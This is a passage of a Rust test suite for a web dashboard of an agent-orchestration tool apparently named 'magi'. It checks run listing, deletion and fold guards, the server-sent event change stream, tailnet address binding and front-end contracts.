5452 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
5453 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
5454
5455 let bound = std::sync::Mutex::new(None);
5458 hand_over(home.path(), &looping, served, || {
5459 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
5460 *bound.lock().expect("bound") = Some(attempt);
5461 Ok(())
5462 })
5463 .await
5464 .expect("hand over");
5465
5466 assert_eq!(
5467 *PARK_HEARD.lock().expect("park heard"),
5468 Some(200),
5469 "the deck must answer while the loop is parking"
5470 );
5471 let attempt = bound
5472 .lock()
5473 .expect("bound")
5474 .take()
5475 .expect("the successor was started");
5476 assert!(
5477 attempt.is_ok(),
5478 "and the address must be free by the time it is: {attempt:?}"
5479 );
5480 }
5481
5482 #[tokio::test]
5483 async fn a_newer_daemon_status_file_still_renders() {
5484 let f = Fixture::start().await;
5485 std::fs::write(
5488 f.home.path().join("daemon.json"),
5489 serde_json::json!({
5490 "schema": 2,
5491 "updated_at": Timestamp::now().to_string(),
5492 "idle": true,
5493 "surprise": { "nested": [1, 2, 3] },
5494 })
5495 .to_string(),
5496 )
5497 .expect("write daemon.json");
5498
5499 let health = f.get("/api/health").await;
5500
5501 assert_eq!(health.status, 200);
5502 assert_eq!(health.json()["daemon"]["running"], true);
5503 }
5504
5505 #[tokio::test]
5506 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
5507 let f = Fixture::start().await;
5508 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
5509 let broken = f.runs().join("20260902-140502-bad");
5510 std::fs::create_dir_all(&broken).expect("run dir");
5511 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
5512
5513 let list = f.get("/api/runs").await;
5514 let detail = f.get("/api/runs/20260902-140502-bad").await;
5515
5516 assert_eq!(list.status, 200);
5517 let listed = list.json();
5518 let ids: Vec<&str> = listed
5519 .as_array()
5520 .expect("an array")
5521 .iter()
5522 .map(|r| r["id"].as_str().expect("an id"))
5523 .collect();
5524 assert_eq!(
5525 ids,
5526 vec!["20260902-140501-good"],
5527 "one unreadable run must not cost the operator the whole history"
5528 );
5529 assert_eq!(detail.status, 500);
5530 assert!(
5531 detail.json()["error"]
5532 .as_str()
5533 .is_some_and(|e| e.contains("run.json")),
5534 "the failure names the file to look at: {}",
5535 detail.body
5536 );
5537 let health = f.get("/api/health").await;
5541 assert_eq!(health.json()["runs_unreadable"], 1);
5542 }
5543
5544 #[tokio::test]
5545 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
5546 let f = Fixture::start().await;
5547 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
5548
5549 let summary = f.get("/api/runs").await.json();
5550 let row = &summary[0];
5551 assert_eq!(row["short"], "a1b2");
5552 assert_eq!(row["status"], "ready");
5553 assert_eq!(row["done"], true);
5554 assert_eq!(row["title"], "Add a web UI");
5555 assert_eq!(row["repo_name"], "magi");
5556 assert_eq!(row["judges"], 3);
5557 assert_eq!(row["winner"], Value::Null);
5558 assert_eq!(row["reviews"], 0);
5559
5560 let detail = f.get("/api/runs/a1b2").await;
5563 assert_eq!(detail.status, 200);
5564 assert_eq!(detail.json()["base_branch"], "main");
5565 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
5566 }
5567
5568 #[tokio::test]
5573 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
5574 let f = Fixture::start().await;
5575 let id = "20260902-140502-bbbb";
5579 let mut state = RunState::new(
5580 PathBuf::from("/repo/magi"),
5581 "main".to_owned(),
5582 "0123456789abcdef".to_owned(),
5583 "Add a web UI".to_owned(),
5584 Config::default(),
5585 );
5586 state.id = id.to_owned();
5587 state.status = RunStatus::Judging;
5588 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
5589 let dir = f.runs().join(id);
5590 std::fs::create_dir_all(&dir).expect("run dir");
5591 std::fs::write(
5592 dir.join("run.json"),
5593 serde_json::to_string_pretty(&state).expect("serialize run"),
5594 )
5595 .expect("write run.json");
5596
5597 let cold = f.get(&format!("/api/runs/{id}")).await.json();
5600 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
5601 assert_eq!(cold["live"], false, "{cold}");
5602
5603 write_daemon(f.home.path(), Timestamp::now());
5606 let warm = f.get(&format!("/api/runs/{id}")).await.json();
5607 assert_eq!(warm["live"], true, "{warm}");
5608 }
5609
5610 #[tokio::test]
5611 async fn the_run_list_is_newest_first_and_honours_a_limit() {
5612 let f = Fixture::start().await;
5613 for id in [
5614 "20260902-140501-aaaa",
5615 "20260902-140502-bbbb",
5616 "20260902-140503-cccc",
5617 ] {
5618 write_run(&f.runs(), id, RunStatus::Merged);
5619 }
5620
5621 let all = f.get("/api/runs").await.json();
5622 let capped = f.get("/api/runs?limit=2").await.json();
5623
5624 assert_eq!(all[0]["id"], "20260902-140503-cccc");
5625 assert_eq!(all.as_array().map(Vec::len), Some(3));
5626 assert_eq!(capped.as_array().map(Vec::len), Some(2));
5627 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
5628 }
5629
5630 #[tokio::test]
5631 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5632 let f = Fixture::start().await;
5633 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5634
5635 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5636
5637 assert_eq!(res.status, 200);
5638 assert!(
5639 res.headers
5640 .contains("content-type: text/plain; charset=utf-8"),
5641 "a browser must render it, not download it: {}",
5642 res.headers
5643 );
5644 assert!(
5648 res.body.contains("20260902-140501-a1b2"),
5649 "the report is about the run that was asked for: {}",
5650 res.body
5651 );
5652 }
5653
5654 #[tokio::test]
5655 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5656 let f = Fixture::start().await;
5657
5658 let html = f.get("/").await;
5659 let css = f.get("/app.css").await;
5660 let js = f.get("/app.js").await;
5661
5662 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5663 assert!(
5664 html.headers
5665 .contains("content-type: text/html; charset=utf-8")
5666 );
5667 assert!(css.headers.contains("content-type: text/css"));
5668 assert!(js.headers.contains("content-type: text/javascript"));
5669 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5670 }
5671
5672 #[tokio::test]
5673 async fn the_change_stream_announces_the_current_revisions_on_connect() {
5674 let f = Fixture::start().await;
5675
5676 let mut socket = tokio::net::TcpStream::connect(f.addr)
5677 .await
5678 .expect("connect");
5679 socket
5680 .write_all(
5681 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5682 )
5683 .await
5684 .expect("write request");
5685
5686 let mut seen = String::new();
5689 let mut buf = [0u8; 1024];
5690 while !seen.contains("event: change") {
5691 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5692 .await
5693 .expect("the stream must speak within five seconds")
5694 .expect("read");
5695 assert!(read > 0, "the server closed the change stream: {seen}");
5696 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5697 }
5698
5699 assert!(
5700 seen.to_lowercase()
5701 .contains("content-type: text/event-stream"),
5702 "the browser only reconnects automatically for a real SSE stream: {seen}"
5703 );
5704 let data = seen
5705 .lines()
5706 .find_map(|l| l.strip_prefix("data:"))
5707 .expect("a data line");
5708 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5709 assert!(
5710 payload["queue_rev"].is_u64()
5711 && payload["runs_rev"].is_u64()
5712 && payload["questions_rev"].is_u64()
5713 && payload["chats_rev"].is_u64()
5714 && payload["talks_rev"].is_u64()
5715 && payload["loop_rev"].is_u64(),
5716 "the client needs one revision per store to know what to refetch, \
5717 and `chats_rev` / `talks_rev` are the only notification a slow \
5718 interview or a standing talk get - a phone whose radio slept \
5719 through a turn learns about it here, as does one whose operator \
5720 started the loop from another device: {payload}"
5721 );
5722
5723 let health = f.get("/api/health").await.json();
5730 for key in [
5731 "queue_rev",
5732 "runs_rev",
5733 "questions_rev",
5734 "chats_rev",
5735 "talks_rev",
5736 "loop_rev",
5737 ] {
5738 assert!(
5739 health[key].is_u64(),
5740 "health is the change stream's fallback and is missing `{key}`: {health}"
5741 );
5742 }
5743 }
5744
5745 #[tokio::test]
5746 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5747 let f = Fixture::start().await;
5748 let before = f.get("/api/health").await.json()["talks_rev"]
5749 .as_u64()
5750 .expect("talks_rev");
5751
5752 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5753 std::thread::sleep(Duration::from_millis(10));
5754 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5755 on_disk.turns.push(crate::talk::Turn {
5756 who: crate::talk::Who::Operator,
5757 body: "a new turn".to_owned(),
5758 at: Timestamp::now(),
5759 });
5760 f.talks().put(&mut on_disk).expect("record a turn");
5761
5762 let after = f.get("/api/health").await.json()["talks_rev"]
5763 .as_u64()
5764 .expect("talks_rev");
5765 assert_ne!(
5766 before, after,
5767 "a phone must be able to notice a talk's reply without polling every store"
5768 );
5769 }
5770
5771 #[test]
5772 fn bind_reads_back_from_the_spelling_the_cli_prints() {
5773 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5777 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5778 }
5779 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5780 assert!("everywhere".parse::<Bind>().is_err());
5781 }
5782
5783 #[test]
5784 fn an_explicit_bind_address_is_taken_verbatim() {
5785 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5786
5787 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5788
5789 assert_eq!(addr, asked);
5790 assert!(
5791 warning.is_none(),
5792 "an operator who named an address gets no lecture"
5793 );
5794 }
5795
5796 #[test]
5797 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5798 let (addr, warning) = resolve_bind(&Bind::Auto);
5799
5800 match addr {
5807 IpAddr::V4(ip) if is_tailnet(&ip) => {
5808 assert!(warning.is_none(), "a tailnet address needs no warning");
5809 }
5810 other => {
5811 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5812 let warning = warning.expect("a fallback has to explain itself");
5813 assert!(
5814 warning.contains("127.0.0.1") && warning.contains("local-only"),
5815 "the warning says what happened and what it costs: {warning}"
5816 );
5817 }
5818 }
5819 }
5820
5821 #[test]
5822 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
5823 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
5827 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
5828 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
5829 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
5830 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
5831 }
5832
5833 #[test]
5834 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
5835 let ids = vec![
5836 "20260902-140501-aaaa".to_owned(),
5837 "20260902-140502-aabb".to_owned(),
5838 ];
5839
5840 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
5841 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
5842 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
5843
5844 assert_eq!(missing.status, StatusCode::NOT_FOUND);
5845 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
5846 assert_eq!(short, "20260902-140502-aabb");
5847 }
5848 #[tokio::test]
5849 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
5850 let fx = Fixture::start().await;
5856 let id = panel(
5857 &fx,
5858 "<img src=\"shot.png\">",
5859 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
5860 );
5861
5862 let doc = fx
5864 .get(&format!("/api/questions/{id}/panel/index.html"))
5865 .await;
5866 assert_eq!(doc.status, 200, "{}", doc.body);
5867 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
5868
5869 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
5870 assert_eq!(sibling.status, 200, "{}", sibling.body);
5871 assert_eq!(sibling.header("content-type"), Some("image/png"));
5872 assert_eq!(
5873 sibling.header("content-security-policy"),
5874 Some(PANEL_CSP),
5875 "the sibling route must carry the same policy as the asset route"
5876 );
5877
5878 assert_eq!(
5881 fx.head(&format!("/api/questions/{id}/panel")).await.status,
5882 200
5883 );
5884 }
5885
5886 #[test]
5887 fn runs_revision_moves_when_deleting_an_older_run() {
5888 let temp = TempDir::new().expect("tempdir");
5889 let runs = temp.path().join("runs");
5890 std::fs::create_dir_all(&runs).expect("create runs dir");
5891
5892 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
5893
5894 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
5895 std::thread::sleep(Duration::from_millis(10));
5896 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
5897
5898 let rev_before = runs_revision(&runs);
5899 assert!(rev_before > 0);
5900
5901 let old_dir = runs.join("20260901-100000-old1");
5902 std::fs::remove_dir_all(&old_dir).expect("remove old run");
5903
5904 let rev_after = runs_revision(&runs);
5905 assert_ne!(
5906 rev_before, rev_after,
5907 "deleting an older run must change the revision so other clients see the deletion"
5908 );
5909 }
5910
5911 fn write_state(runs: &FsPath, state: &RunState) {
5916 let dir = runs.join(&state.id);
5917 std::fs::create_dir_all(&dir).expect("run dir");
5918 std::fs::write(
5919 dir.join("run.json"),
5920 serde_json::to_string_pretty(state).expect("serialize run"),
5921 )
5922 .expect("write run.json");
5923 }
5924
5925 #[test]
5930 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
5931 let temp = TempDir::new().expect("tempdir");
5932 let runs = temp.path().join("runs");
5933 std::fs::create_dir_all(&runs).expect("create runs dir");
5934 let mut state = RunState::new(
5935 PathBuf::from("/repo/magi"),
5936 "main".to_owned(),
5937 "0123456789abcdef".to_owned(),
5938 "task".to_owned(),
5939 Config::default(),
5940 );
5941 state.id = "20260902-100000-c0de".to_owned();
5942 write_state(&runs, &state);
5943
5944 let rev_idle = runs_revision(&runs);
5945 std::thread::sleep(Duration::from_millis(10));
5946 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
5947 write_state(&runs, &state);
5948 let rev_started = runs_revision(&runs);
5949 assert_ne!(
5950 rev_idle, rev_started,
5951 "a seat starting must move the revision"
5952 );
5953
5954 std::thread::sleep(Duration::from_millis(10));
5955 state.seat_finished("judge-1");
5956 write_state(&runs, &state);
5957 let rev_finished = runs_revision(&runs);
5958 assert_ne!(
5959 rev_started, rev_finished,
5960 "and clearing it again must move the revision a second time"
5961 );
5962 }
5963
5964 #[tokio::test]
5965 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
5966 let fx = Fixture::start().await;
5967 let q = fx.queue();
5968
5969 let mut t1 = Task::new(
5971 "Task 1".to_owned(),
5972 "Instruction 1".to_owned(),
5973 PathBuf::from("/repo"),
5974 Source::Human,
5975 );
5976 let run_id = "20260901-000000-r111";
5977 t1.runs.push(run_id.to_owned());
5978 write_run(&fx.runs(), run_id, RunStatus::Merged);
5979 q.put(&mut t1).expect("put t1");
5980
5981 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
5983 assert_eq!(res.status, 204);
5984 assert!(res.body.is_empty(), "204 No Content has no body");
5985 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
5986 assert!(
5987 fx.runs().join(run_id).exists(),
5988 "run directory must not be deleted when its task is deleted"
5989 );
5990
5991 let mut t2 = Task::new(
5993 "Task 2".to_owned(),
5994 "Instruction 2".to_owned(),
5995 PathBuf::from("/repo"),
5996 Source::Human,
5997 );
5998 t2.status = TaskStatus::Running;
5999 q.put(&mut t2).expect("put t2");
6000 let mut beat = crate::daemon::Status::new();
6001 beat.current = Some(crate::daemon::Current {
6002 task: t2.id.clone(),
6003 run: "20260901-000000-r222".to_owned(),
6004 });
6005 beat.updated_at = jiff::Timestamp::now();
6006 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6007 .expect("publish a heartbeat");
6008 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6009 assert_eq!(res.status, 409);
6010 assert!(
6011 res.json()["error"]
6012 .as_str()
6013 .unwrap()
6014 .contains("live daemon")
6015 );
6016 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6017
6018 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6024 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6025 .expect("leave a stale heartbeat");
6026 let mut t3 = Task::new(
6027 "Task 3".to_owned(),
6028 "Instruction 3".to_owned(),
6029 PathBuf::from("/repo"),
6030 Source::Human,
6031 );
6032 t3.status = TaskStatus::Running;
6033 q.put(&mut t3).expect("put t3");
6034 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6035 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6036 assert_eq!(res.status, 204);
6037 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6038 assert!(
6039 q.claim(&t3.id).is_ok(),
6040 "the stale lock went with it, so the id is claimable again"
6041 );
6042
6043 let res = fx.delete("/api/queue/nonexistent").await;
6045 assert_eq!(res.status, 404);
6046 }
6047
6048 #[tokio::test]
6049 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6050 let fx = Fixture::start().await;
6051 let runs = fx.runs();
6052
6053 let run_id = "20260901-000000-fold";
6055 let mut state = RunState::new(
6056 PathBuf::from("/repo"),
6057 "main".to_owned(),
6058 "abc".to_owned(),
6059 "instruction".to_owned(),
6060 Config::default(),
6061 );
6062 state.id = run_id.to_owned();
6063 state.status = RunStatus::Merged;
6064 state.candidates.push(crate::run::Candidate {
6065 index: 0,
6066 label: 'A',
6067 agent: "a".to_owned(),
6068 branch: "b".to_owned(),
6069 worktree: PathBuf::from("/w"),
6070 summary: String::new(),
6071 stat: String::new(),
6072 files: 1,
6073 commits: 1,
6074 empty: false,
6075 failed: None,
6076 duration_ms: 0,
6077 folded: true,
6078 });
6079 let dir = runs.join(run_id);
6080 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6081 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6082 .expect("write artifact");
6083 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6084 .expect("write run.json");
6085
6086 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6088 assert_eq!(res.status, 204);
6089 assert!(res.body.is_empty(), "204 has no body");
6090 assert!(!dir.exists(), "run directory and artifacts must be deleted");
6091
6092 let run_running = "20260901-000000-rung";
6097 write_run(&runs, run_running, RunStatus::Prep);
6098 let mut beat = crate::daemon::Status::new();
6099 beat.current = Some(crate::daemon::Current {
6100 task: "20260901-000000-task".to_owned(),
6101 run: run_running.to_owned(),
6102 });
6103 beat.updated_at = jiff::Timestamp::now();
6104 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6105 .expect("publish a heartbeat");
6106 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6107 assert_eq!(res.status, 409);
6108 assert!(
6109 res.json()["error"]
6110 .as_str()
6111 .unwrap()
6112 .contains("live daemon"),
6113 "the refusal must say who is holding it"
6114 );
6115 assert!(
6116 runs.join(run_running).exists(),
6117 "a run in flight keeps its directory"
6118 );
6119
6120 let run_unfolded = "20260901-000000-unfd";
6122 let mut state2 = RunState::new(
6123 PathBuf::from("/repo"),
6124 "main".to_owned(),
6125 "abc".to_owned(),
6126 "instruction".to_owned(),
6127 Config::default(),
6128 );
6129 state2.id = run_unfolded.to_owned();
6130 state2.status = RunStatus::Ready;
6131 state2.candidates.push(crate::run::Candidate {
6132 index: 0,
6133 label: 'A',
6134 agent: "a".to_owned(),
6135 branch: "b".to_owned(),
6136 worktree: PathBuf::from("/w"),
6137 summary: String::new(),
6138 stat: String::new(),
6139 files: 1,
6140 commits: 1,
6141 empty: false,
6142 failed: None,
6143 duration_ms: 0,
6144 folded: false,
6145 });
6146 let dir2 = runs.join(run_unfolded);
6147 std::fs::create_dir_all(&dir2).expect("create dir2");
6148 std::fs::write(
6149 dir2.join("run.json"),
6150 serde_json::to_string(&state2).unwrap(),
6151 )
6152 .expect("write run.json");
6153
6154 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
6155 assert_eq!(res.status, 409);
6156 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
6157 assert!(dir2.exists(), "unfolded run directory is kept");
6158
6159 let res = fx.delete("/api/runs/nonexistent").await;
6161 assert_eq!(res.status, 404);
6162 }
6163
6164 #[test]
6165 fn web_ui_delete_contract_in_front_end() {
6166 assert!(APP_JS.contains("deleteRun:"));
6168 assert!(APP_JS.contains("deleteTask:"));
6169
6170 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
6172 ..APP_JS.find("function renderRuns").unwrap()];
6173 assert!(!run_cards_slice.to_lowercase().contains("delete"));
6174
6175 assert!(APP_JS.contains("renderRunDelete"));
6177 assert!(APP_JS.contains("runDeleteReason"));
6178 assert!(APP_JS.contains("magi fold"));
6179 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
6180
6181 assert!(APP_JS.contains("cancel.focus"));
6183 assert!(APP_JS.contains("armedRunDelete"));
6184 assert!(APP_JS.contains("armedDelete"));
6185
6186 assert!(APP_JS.contains("disabled: status === \"running\""));
6188 }
6189
6190 #[test]
6210 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
6211 let build = APP_JS
6212 .find("function createRunCard")
6213 .expect("createRunCard exists");
6214 let update = APP_JS
6215 .find("function updateRunCard")
6216 .expect("updateRunCard exists");
6217 let end = APP_JS
6218 .find("function renderRuns")
6219 .expect("renderRuns exists");
6220
6221 let builder = &APP_JS[build..update];
6223 let open = builder.find("refs = {").expect("createRunCard sets refs");
6224 let literal = &builder[open + "refs = {".len()..];
6225 let close = literal.find('}').expect("the refs literal is closed");
6226 let published: HashSet<&str> = literal[..close]
6227 .split(',')
6228 .filter_map(|entry| entry.split(':').next())
6230 .map(str::trim)
6231 .filter(|name| !name.is_empty())
6232 .collect();
6233 assert!(
6234 published.len() > 5,
6235 "the refs literal did not parse into names: {published:?}"
6236 );
6237
6238 let mut used: Vec<&str> = Vec::new();
6241 let updaters = &APP_JS[update..end];
6242 for (at, _) in updaters.match_indices("r.") {
6243 let before = updaters[..at].chars().next_back();
6246 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
6247 continue;
6248 }
6249 let rest = &updaters[at + 2..];
6250 let len = rest
6251 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
6252 .unwrap_or(rest.len());
6253 if len > 0 {
6254 used.push(&rest[..len]);
6255 }
6256 }
6257 assert!(
6258 used.len() > 5,
6259 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
6260 );
6261
6262 let missing: Vec<&str> = used
6263 .iter()
6264 .copied()
6265 .filter(|name| !published.contains(name))
6266 .collect();
6267 assert!(
6268 missing.is_empty(),
6269 "a run card's updater reaches for {missing:?}, which `createRunCard` \
6270 never put in `refs` - every card will throw and the list will \
6271 render empty under a count line that says otherwise. Published: \
6272 {published:?}"
6273 );
6274 }
6275
6276 #[tokio::test]
6277 async fn folding_from_the_phone_reports_what_it_removed() {
6278 let fx = Fixture::start().await;
6279 let runs = fx.runs();
6280
6281 let id = "20260901-000000-fold";
6285 write_run(&runs, id, RunStatus::Stalled);
6286 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6287 assert_eq!(res.status, 200);
6288 assert_eq!(res.json()["removed_count"], 0);
6289 assert_eq!(res.json()["run"], id);
6290 assert!(
6291 runs.join(id).exists(),
6292 "a fold keeps the run's record; only the worktrees go"
6293 );
6294 }
6295
6296 #[tokio::test]
6297 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
6298 let fx = Fixture::start().await;
6299 let runs = fx.runs();
6300 let wt = fx.home.path().join("wt").join("magi").join("dead");
6301 let id = "20260901-000000-dead";
6302 std::fs::create_dir_all(runs.join(id)).expect("run dir");
6303 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6304 std::fs::create_dir_all(&wt).expect("worktree dir");
6305
6306 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6307 assert_eq!(res.status, 200, "{}", res.body);
6308 assert!(
6309 res.json()["removed_count"].as_u64().unwrap() > 0,
6310 "the worktree this build could not read a state for still went"
6311 );
6312 assert!(
6313 !runs.join(id).exists(),
6314 "an unreadable run has no candidate list to fold selectively, so \
6315 the whole record goes - same as `magi fold` on the CLI"
6316 );
6317 }
6318
6319 #[tokio::test]
6320 async fn deleting_an_unreadable_run_removes_it_wholesale() {
6321 let fx = Fixture::start().await;
6322 let runs = fx.runs();
6323 let wt = fx.home.path().join("wt").join("magi").join("gone");
6324 let id = "20260901-000000-gone";
6325 std::fs::create_dir_all(runs.join(id)).expect("run dir");
6326 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6327 std::fs::create_dir_all(&wt).expect("worktree dir");
6328
6329 let res = fx.delete(&format!("/api/runs/{id}")).await;
6330 assert_eq!(res.status, 204, "{}", res.body);
6331 assert!(!runs.join(id).exists(), "the broken record is gone");
6332 assert!(!wt.exists(), "its worktree is gone too");
6333 }
6334
6335 #[tokio::test]
6336 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
6337 let fx = Fixture::start().await;
6338 let runs = fx.runs();
6339 let id = "20260901-000000-live";
6340 write_run(&runs, id, RunStatus::Implementing);
6341
6342 let mut beat = crate::daemon::Status::new();
6343 beat.current = Some(crate::daemon::Current {
6344 task: "20260901-000000-task".to_owned(),
6345 run: id.to_owned(),
6346 });
6347 beat.updated_at = jiff::Timestamp::now();
6348 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6349 .expect("publish a heartbeat");
6350
6351 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6352 assert_eq!(res.status, 409);
6353 assert!(
6354 res.json()["error"]
6355 .as_str()
6356 .unwrap()
6357 .contains("live daemon"),
6358 "folding under a running agent would pull its worktree away"
6359 );
6360 }
6361
6362 #[tokio::test]
6363 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
6364 let fx = Fixture::start().await;
6365 let runs = fx.runs();
6366
6367 for (status, word) in [
6373 (RunStatus::Merged, "merged"),
6374 (RunStatus::Ready, "ready"),
6375 (RunStatus::Failed, "failed"),
6376 ] {
6377 let id = format!("20260901-000000-{}", &word[..4]);
6378 write_run(&runs, &id, status);
6379 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
6380 assert_eq!(res.status, 409, "{word} must not be resumable");
6381 let err = res.json()["error"].as_str().unwrap().to_owned();
6382 assert!(err.contains(word), "the refusal names the status: {err}");
6383 }
6384
6385 let mid = "20260901-000000-midf";
6390 write_run(&runs, mid, RunStatus::Reviewing);
6391 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
6392 assert_eq!(res.status, 202, "an interrupted run is resumable");
6393 }
6394
6395 #[tokio::test]
6396 async fn resume_is_refused_while_the_loop_is_running() {
6397 let fx = Fixture::start().await;
6398 let runs = fx.runs();
6399 let stalled = "20260901-000000-stal";
6400 write_run(&runs, stalled, RunStatus::Stalled);
6401
6402 let mut beat = crate::daemon::Status::new();
6405 beat.current = Some(crate::daemon::Current {
6406 task: "20260901-000000-task".to_owned(),
6407 run: "20260901-000000-othr".to_owned(),
6408 });
6409 beat.updated_at = jiff::Timestamp::now();
6410 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6411 .expect("publish a heartbeat");
6412
6413 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
6414 assert_eq!(res.status, 409);
6415 let err = res.json()["error"].as_str().unwrap().to_owned();
6416 assert!(err.contains("othr"), "it names what the loop is on: {err}");
6417 assert!(err.contains("one competition at a time"), "{err}");
6418 }
6419
6420 #[test]
6421 fn a_run_cannot_be_resumed_twice_at_once() {
6422 let home = TempDir::new().expect("temp home");
6423 let ui = Ui::new(
6424 Queue::at(home.path().join("queue")),
6425 Questions::at(home.path().join("questions")),
6426 Chats::at(home.path().join("chats")),
6427 Talks::at(home.path().join("talks")),
6428 home.path().join("runs"),
6429 home.path().to_path_buf(),
6430 PathBuf::from("/repo"),
6431 )
6432 .with_worktrees_root(home.path().join("wt"));
6433 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
6434 let again = ui.begin_resume("20260901-000000-once");
6435 assert!(again.is_err(), "a second tap must not start a second graph");
6436 drop(first);
6437 assert!(
6438 ui.begin_resume("20260901-000000-once").is_ok(),
6439 "and the claim is released when the attempt ends"
6440 );
6441 }
6442
6443 #[test]
6444 fn refreshing_a_conversation_never_navigates_to_it() {
6445 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
6452 ..APP_JS.find("async function startChat(").expect("startChat")];
6453 assert!(
6454 !body.contains("state.chatDetail = {"),
6455 "loadChat must not decide which conversation is on screen: {body}"
6456 );
6457 assert!(
6458 body.contains("if (state.chatDetail.id !== id) return;"),
6459 "it returns instead of drawing a chat the operator is not reading"
6460 );
6461
6462 assert!(
6466 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
6467 "settle the turn before the on-screen check"
6468 );
6469
6470 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
6472 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
6473 }
6474
6475 #[tokio::test]
